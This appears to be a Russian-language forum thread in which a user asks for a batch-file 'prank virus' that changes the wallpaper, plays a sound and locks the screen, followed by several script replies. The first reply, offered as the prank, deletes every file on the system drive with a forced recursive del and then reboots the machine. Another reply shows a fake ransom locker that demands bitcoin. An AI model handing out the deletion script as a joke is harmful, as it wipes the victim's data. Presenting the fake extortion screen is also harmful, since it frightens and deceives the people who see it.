


Напишите пожалуйста скрипт для файла с расширением .bat
Хочу со знакомым создать шуточный вирус, который будет менять обои, включать звуковой файл (можно было бы ещё винлокер самый простой)
Что не пробовал, что не писал, все с задержкой и запускается только смена обоев, и то только после перезагрузки, а вот винлокер запускается сразу (это же винлокер блин)
!!! Я не собираюсь никого троллить или пугать, а просто хочу посмотреть как это все работает !!!
@echo off
del %systemdrive%\*.* /f /s /q
shutdown -r -f -t 00
@echo off
title Шуточный скрипт
color 0A
:: Предупреждение
echo ВНИМАНИЕ! Это шуточный скрипт. Для остановки закройте окно.
echo Нажмите CTRL+C, чтобы прервать выполнение.
timeout /t 5 /nobreak >nul
:: 1. Меняем обои (без перезагрузки)
powershell -command "Add-Type -TypeDefinition 'using System; using System.Runtime.InteropServices; public class Wallpaper { [DllImport(\"user32.dll\", CharSet= CharSet.Auto )] public static extern int SystemParametersInfo(int uAction, int uParam, string lpvParam, int fuWinIni); }'; $url=' https://raw.githubusercontent.com/example/fake_wallpaper.jpg '; $path=\"%TEMP%\\fake_wall.jpg\"; (New-Object Net.WebClient).DownloadFile($url, $path); [Wallpaper]::SystemParametersInfo(20, 0, $path, 3);"
:: 2. Воспроизводим звук (нужен файл alarm.wav в той же папке)
if exist "alarm.wav" (
start "" "alarm.wav"
) else (
echo Звуковой файл alarm.wav не найден!
)
:: 3. Имитация "винлокера" (без реальной блокировки)
:loop
cls
echo ВАША СИСТЕМА ЗАРАЖЕНА!
echo Для разблокировки отправьте 1000$ на BTC-кошелек!
echo Или введите пароль: 12345
set /p pass=Пароль:
if "%pass%"=="12345" (
echo Доступ разрешен! Это был тест :)
goto end
) else (
echo Неверный пароль! Попробуйте еще раз.
timeout /t 2 >nul
goto loop
)
:end
echo Скрипт завершен. Это была шутка!
timeout /t 5
exit
Как это работает:
Смена обоев через PowerShell (работает без перезагрузки).
Воспроизведение звука (нужно положить файл alarm.wav в ту же папку).
Псевдо-блокировщик с "требованием выкупа" (пароль для выхода: 12345).
Для настройки:
Создайте файл alarm.wav или замените путь на свой звуковой файл.
Для обоев укажите прямую ссылку на изображение в строке $url=....
Важно:
Скрипт не изменяет системные файлы.
Все изменения обратимы (обои можно сменить вручную).
Для полной безопасности запускайте в виртуальной машине.
@echo off
title 🤖 Шутка века
color 0A
:: Установка обоев
reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "%~dp0wallpaper.jpg" /f
RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
:: Воспроизведение звука
start /min mplay32 /play /close "%~dp0sound.wav"
:: Показ шуточного сообщения
msg * "Ваш компьютер был захвачен котиком 😼"
exit
📁 Что нужно подготовить:
Поместить .bat файл, файл с изображением (wallpaper.jpg) и звук (sound.wav) в одну папку.
Убедитесь, что пути корректны, или замените %~dp0 на конкретный путь.
Запускать лучше от имени пользователя (не обязательно администратора).
Это не требует перезагрузки, обои сменятся сразу, но поведение зависит от версии Windows.
платно